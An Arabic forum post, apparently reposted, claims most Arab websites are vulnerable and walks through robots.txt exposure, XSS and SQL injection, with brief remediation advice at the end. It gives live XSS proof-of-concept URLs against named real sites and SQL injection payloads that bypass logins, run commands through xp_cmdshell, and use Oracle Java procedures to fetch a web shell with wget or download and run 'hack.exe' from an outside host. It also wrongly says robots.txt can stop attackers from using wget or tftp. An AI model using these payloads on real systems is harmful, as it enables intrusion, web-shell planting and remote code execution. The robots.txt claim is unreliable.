سلسلة مواضيع -أمن وحماية مواقع الويب - أخطار تهدد المواقع العربية !!!

الناقل : elmasry | الكاتب الأصلى : JAAS | المصدر : www.arabteam2000-forum.com

السلام عليكم ,,,

تغيبت فتره عن المنتدى لإنشغالي بكتابه اداة وهي عباره عن برنامج
فلتره البيانات بين المستخدم وسيرفر الويب ,,, وبعد ان انتهيت من البحث في هذا الموضوع

توصلت لنتيجه غايه في الخطورة ؟!! وهي
أن أكثر من 90% من تطبيقات المواقع العربيه توجد بها ثغرات أمنيه .
لا تعتقد اني خرفت ,,, تابع الموضوع
-
دائما نرى المواقع العربيه , عباره عن تطبيقات جاهزة مثل المجله والمنتديات وبرامج البحث
وهذا الي ستر على مواقعنا من الإختراق وقلل مستوى الخطورة .
-
المهم انا تجاهلت هذة المواقع وقمت بالبحث في المواقع التي تحتوي على الأقل على تطبيق برمجي واحد
مكتوب من قبل الموقع , مثل سجل الزوار والبحث و تحميل الصور وإرسال الإيميل والقائمة البريدية........
-
ولقيت ان أكثرمن 90% من هذة التطبيقات بها أخطاء برمجية وثغرات أمنية
وبالتأكيد لكي أثبت كلامي مطلوب أمثلة تطبيقية ,, ونبدأ بالأكثر إنتشار.
-
-
اولاً : خطأ أو ثغرة robots

ملف robots يمكن يكون غريب علينا وأول مره نسمع عنه,,
ولكنه معروف في المواقع العالميه وإستخدامه شغله اساسيه لأمن المواقع ,كما تلاحظ
http://www.ibm.com/robots.txt
http://www.securiteam.com/robots.txt
http://www.google.com/robots.txt

....
هذا الملف من إسمه robots.txt يستخدم لتوجيه مايعرف بالربوت او الرجل الآلي؟!
او مايعرف بأخطبوط الشبكه ,, وهي عبارة عن محركات ضخمه مثل محرك جوجل ومحركات تتبع بيانات الشبكات netcraft.com
وتقييم المواقعwebhosting.info تستخدم لفهرسه كل صفحة في الموقع ,, من خلال هذا الملف تستطيع ان تخبر هذا robots اي المجلدات يفهرس
وأي الصفحات ممنوع ان يقترب منها ؟؟ وهنا الخطأ تجد كل محتوى المواقع العربيه بما فيها الصفحات السرية بداخل محركات البحث
-
بعطيك مثال ,, اغلب المواقع بها صفحات وخدمات لا يمكن الوصول لها إلى بعد التسجيل في الموقع
شو رايك إذا قلت يمكن الدخول لها بكل بساطه من خلال محرك البحث جوجل
في خيارات البحث المتقدم في جوجل حدد البحث في الموقع المحدد فقط
وفي خانة البحث إطبع المسافه؟ يعني بس إضغط على مفتاح المسافه في لوحه التحكم
وشوف نتائج البحث كل صفحات الموقع بما فيها الممنوع والمسموح دخولها
-
نقطه ثانيه: لكل لغه برمجه معرف خطأ او رقم الخطأ والجمله التي يظهرها السيرفر
مثل لو حدث خطأ في سيرفر الأوراكل يظهر معرف الخطأ التالي : JBO-27122
وبدورنا نقوم بالبحث عن اي معرف خطأ في الموقع من خلال جوجل لتظهر كود الخطأ نفسه
-
اما الشغله الأخطر فهي منع برامج تحميل الباكدور أو الشل كود في السيرفر
برامج التحميل المستخدمه في الأنظمة هي الطريقة التي يستخدمها مخترقي الأنظمة لتحميل أي ملف للسيرفر
مثلا في نظام الوندوز يستخدم البرنامج tftp وفي أنظمة اليونكس يستخدم البرانامج wget
وبدورنا ومن خلال ملف robots نستطيع منع الوصول لأي ملف بهذه الأسماء wget,ls,tftp,dir وغيرها...
وبهذا نكون فهمنا فائدة ملف robots ,, لمزيد من المعلومات حول هذا الملف ..
http://www.robotstxt.org/wc/faq.html
/
/
/

ثانياً: ثغرات Cross-Site Scripting و XSS في المواقع العربية
هذا النوع من الثغرات عبارة عن إدخال كود html وتنفيذة من خلال المتصفح
دائما ترى في المنتديات وغيرها برنامج لتعطيل أكواد html هذا البرنامج ينقص اغلب تطبيقات الويب العربيه

تعمل لغه html على تنفيذ اي امر بين القوسين <...> ولذلك يعتر القوس < بلوك الكود التنفيذي
بعطيك مثال ,, الكود التالي عبارة عن شفرة تنفيذية لصفحة html
<script>alert('Msg');</script>
نفس الكود السابق يكتب بهذا الشكل ليتحول من كود تنفيذي إلى بيانات فقط
&lt;script&gt;alert('Msg');&lt;/script&gt;

جرب إفتح كود اي صفحة html وأكتب اول جمله ,, وبعد ذلك جرب الجمله الثانيه لترى الفرق
المهم هذا التحويل من الصيغه الأولى إلى الصيغه الثانيه ,, يعرف بتعطيل أكواد html
وهذه الطريقه غير موجودة في أضخم المواقع العربيه ,,, وبذلك تكون ثغرات Cross-Site Scripting
يمكن إستغلالها لسرقه حساب المدير عن طريق الكوكيز.... وهذة امثله على هذا النوع من الثغرات في المواقع العربيه
ملاحظة : إنسخ العنوان والصقة في المتصفح وبعد ذلك قم بالتنفيذ ,, لكي تعمل الثغرة بشكل صحيح

http://search.ayna.com/cgi-bin/search.cgi?q=</TITLE><script>alert('JAAS~~~Hack');</script>
---------------
http://directory.naseej.com/servlet/Directory?interfacelang=1&defaulttype=0&type=2&sitelang=2&service=arabsite&submit=++&words=%3Cscript%3Ealert('jaas~~~hack');%3C/script>
------------------
http://www.arab1000.com/cgi-bin2/rank/search.cgi?key=<script>alert('JAAS~~~attack');</script>

وتوجد الكثير في من الثغرات في بقية المواقع...........
/
/
/
ثالثاً : ثغرات قواعد البيانات ( Sql Injection ) في المواقع العربيه

ثغرات Sql Injection او حقن لغات الإستعلام ,, بكل بساطه هي الإضافة إلى كود الإستعلام الأصلي لقواعد البيانات

مثال: لكي تقوم بتسجيل الدخول في الموقع فإنك ومن خلال صفحة التسجيل تكتب اسم المستخدم مثل jaas
وكلمه المرور 123456
وبعد ان تقوم بالضغط على زر الإرسال يقوم المتصفح بإرسال الطلب التالي:
http://www.xxx.com/t...password=123456

الموقع
http://www.xxx.com
صفحة التسجيل test.asp
الطلبات الواجب الإستفسار عنها في قواعد البيانات وهي
إسم المستخدم user=jaas
كلمه المرور password=123456

الآن في الكود الداخلي للموقع يتم طلب الإستعلام أو أمر SQL بهذة الطريقة

اولاً قرائة الطلبات من المتصفح
var username= Request.form("user");
var password = Request.form("password");

وبعد ذلك تنفيذ الإستعلام
Select * from Users where USR ='" + username + "' and  PSW='" +password +'";

لاحظ معي هذة النقطة المهمة وهي شكل تنفيذ البيانات في الذاكرة
عندما نقوم بطلب الأمر
http://www.xxx.com/t...password=123456
فإن الإستفسار SQL ينفذ بالشكل التالي
Select * from Users where USR ='jaas' and  PSW='123456';

//
أكيد لاحظت الثغرة ؟؟؟ يمكن الإضافه إلى أمر SQL من خلال الطلب
http://www.xxx.com/t...password=123456

لنفرض ان كلمة المرور =545fdfsfdf6 وإسم المستخدم jaas
يمكن ان ندخل إلى الصفحه بإسم jaas دون ان نعلم كلمه المرور وذلك بإستخدام ثغرة Sql Injection
بهذا الشكل
http://www.xxx.com/t...password=123456 ' OR 1=1;--
فيصبح طلب sql بهذا الشكل
Select * from Users where USR ='jaas' and  PSW='123456' OR 1=1;--';


وبذلك نكون غيرنا الشرط الذي كان يقارن تطابق إسم المستخدم مع كلمه المرور
وقد قمنا بإضافه شرط جديد وهو or 1=1 بمعنى يتحقق الشرط إذا كان 1=1 وبالتأكيد فإن الرقمين متساويين وبذلك سيتم الدخول للصفحة بنجاح
-
وبذلك نكون قد عرفنا خطورة ثغرات sql
وللفائدة توجد إستخدامات أخطر لثغرة sql وهي تنفيذ امر cmd
في نظام وندوز يمكن إستخدام المكتبه xp_cmdshell
هذة المكتبه تأتي مع خادم sql النسخة الكامله الداعم للغه c,c++
وطريقة الإستخدام لتنفيذ امر dir في الدوس بهذا الشكل
exec master..xp_cmdshell 'dir'

وبذلك يكون التطبيق في الثغرة التي وجدناها بهذا الشكل
http://www.xxx.com/test.asp?user=jaas&password=123456 ';exec master..xp_cmdshell 'dir'; --

/
/
الطريقة الثانيه إذا لم يكن السيرفر يدعم المكتبه xp_cmdshell
فإننا نقوم بإستخدام مترجم السكربتات wscript.shell
وهذا مثال لتشغيل الدوس
http://www.xxx.com/test.asp?user=jaas&password=123456'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe';--

-
وبعد ما فهمنا الإستغلال بشكل تفصيلي ,, خلونا نأخذ أداة أو برنامج يسهل علينا الشغلة كثير
الأداة SQL INJ Commander تستخدم وتنفذ كل اوامر وثغرات SQL بكبسه زر
Posted Image
-
لتحميل الأداة
http://www.xfocus.ne...412/sqlcomm.rar
الموقع:
http://666w.com


//////////////////////////////////
أكيد لاحظتوا ان كل الأمثلة على وندوز ,,, والسبب بكل بساطة لكي تستطيع التجربه في جهازك
الآن ثغرات sql في أنظمة اليونكس وسيرفرات الجافا

بالنسبة لمعالجة الطلب فإن الطريقة متشابهة في كل الأنظمة لأن لغة sql القياسية تجدها في كل السيرفرات
المهم هذا المثال بإستخدام الجافا
اولا الطلب
http://www.xxx.com/t...password=123456
يتم معلاجته كاتالي:
String username = request.getParameter("user");
String password = request.getParameter("password");

String SQLQuery = "SELECT Username FROM Users WHERE USR= "+ username + "' AND PSW = '" + password + "'";

//
تلاحظ ان كل الطرق متشابهة في يونكس ونظام وندوز,, ولكن الإختلاف يظهر في الأوامر
لاحظ ,, سنقوم بتحميل صفحة phpShell أو jspShell وهي عبارة عن صفحة المدير التي يستطيع من خلالها مديرالموقع
التعديل وحذف ورفع الملفات إلى السيرفر
-
سنقوم بإستخدام الأمر wget في نظام يونكس لجلب ملف shell بإسم Shell.jsp من جهازي إلى سيرفر الويب المستهدف
لنفرض أن ip جهازي 222.0.0.1 والسيرفر المستهدف www.xx.com
وبذلك سيكون الأمر المنفذ في السيرفر المستهدف بهذة الطريقة
wget 222.0.0.1/Shell.jsp

الآن يجب ان بحث عن طريقة للوصول لبرنامج نقل الملفات wget
أكثر طريقة مستخدمة هي عن طريق الجافا ؟؟ لأن أغلب أنظمة اليونكس تدعم الجافا
وبذلك نقوم بإستخدام الجافا لتشغيل wget تمرير ملف shell له وتكون الطريقة بهذا الشكل
Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");

هل تعلم كيف سيكون شكل الطلب :) أنصحك ان لا تستغرب من شكل الطلب
لأن هنالك طرق لإرسال ملفات تنفيذي كامل عن طريق متصفح الإنترنت
http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2  authid current_user as pragma autonomous_transaction;SqlCommand VARCHAR2(2048);
BEGIN SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*;
import java.io.*;
public class ExecuteOS{public static void execOSCmd () throws IOException, java.lang.InterruptedException{Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");}';execute immediate SqlCommand;
 SqlCommand := 'CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)AS LANGUAGE JAVANAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
 execute immediate SqlCommand;
execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';commit; return END;
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
SET SERVEROUTPUT ON
CALL dbms_java.set_output(1999);
EXEC sys.proc_executeos (); --

-
المهم تقوم بنسخ الكود السابق ولصقة في متصفح الإنترنت,,
إذا لم تدخل الفكرة ولم تستوعبها
إليك مثال في نظام وندوز
-
هذا طلب بإستخدام إستعلامات الأوراكل
سنقوم بتحميل ملف تنفيذي من الموقع
http://hackersite/hack.exe
وسنقوم بكتابتة في السيرفر وهو عبارة عن النظام وندوز وبالتحديد في المسار c:\hack.exe
وبعد ذلك سنقوم بتشغيل الملف التنفيذي hack.exe
كالعادة الموقع الضحية
http://www.xxx.com
لاحظ شكل الطلب:
http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2
authid current_user as
  pragma autonomous_transaction;
  SqlCommand VARCHAR2(2048);
BEGIN
  SqlCommand := '
CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS
import java.lang.*;
import java.io.*;
public class FileUpload {
  public static void fileUpload(String myFile, String url) throws Exception
  {
    File binaryFile = new File(myFile);
    FileOutputStream outStream = new  FileOutputStream(binaryFile);
    java.net.URL u = new java.net.URL(url);
    java.net.URLConnection uc = u.openConnection();
    InputStream is = (InputStream)uc.getInputStream();
    BufferedReader in = new BufferedReader (new InputStreamReader (is));
    byte buffer[] = new byte[1024];
    int length = -1;
    while ((length = is.read(buffer)) != -1) {
      outStream.write(buffer, 0, length);
      outStream.flush(); }
    is.close(); outStream.close();
  } };';
  execute immediate SqlCommand;
  SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)
AS LANGUAGE JAVA
NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';';
  execute immediate SqlCommand;
  execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';
  commit;
  return '';
END;
SET SERVEROUTPUT ON
CALL dbms_java.set_output(1999);
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe'); --

-
وبالتأكيد ينسخ كامل الكود إلى address bar في متصفح الإنترنت ويتم تنفيذ الطلب للسيرفر ليتم إختراقة
///////////////////////////////////////

وبعد هذة المقدمة التي اعتقد انها ستكون أشياء غريبه يصعب تصديقها من قبل مبرمجي المواقع ...
بقي سؤال يطرح نفسه ,,, وهو الحل ؟ او الحلول المتبعة لحل هذة الأخطاء
/
النقطة المحورية لحل كل هذة الثغرات بسيطة وهي التشييك أو فحص كل بارمتر أو طلب ممرر من متصفح الإنترنت إلى السيرفر
أول شغلة هي الفحص البرمجي بداخل نفس التطبيق قبل أن يتم معالجة الطلب
ثاني شغلة وهي إستخدام اي طريقة لفتلرة الطلبات
1- إما عن طريق تطبيق داخلي للسيرفر مثل ISAPI لسيرفرات الوندوز , أو عن طريق NSAPI لسيرفرات اليونكس
2- او عن طريق Web Firewall وأشهرها NetContinuuum Web Firewall
//////////////////////

وبعد أن تقوم بالتشييك البرمجي على المدخلات و بعد أن تقوم بعملية الفلترة للبيانات
تقوم بعملية الإختبار ,,, ومن أفضل أدوات الإختبار وأشملها الأداة xscan
Posted Image

للتحميل :
http://www.xfocus.or...can-v3.3-en.rar
////////////

وبهذا نكون ناقشنا كل خطوات تأمين المواقع بشكل إحترافي ,,,,
وبالتوفيق ,,,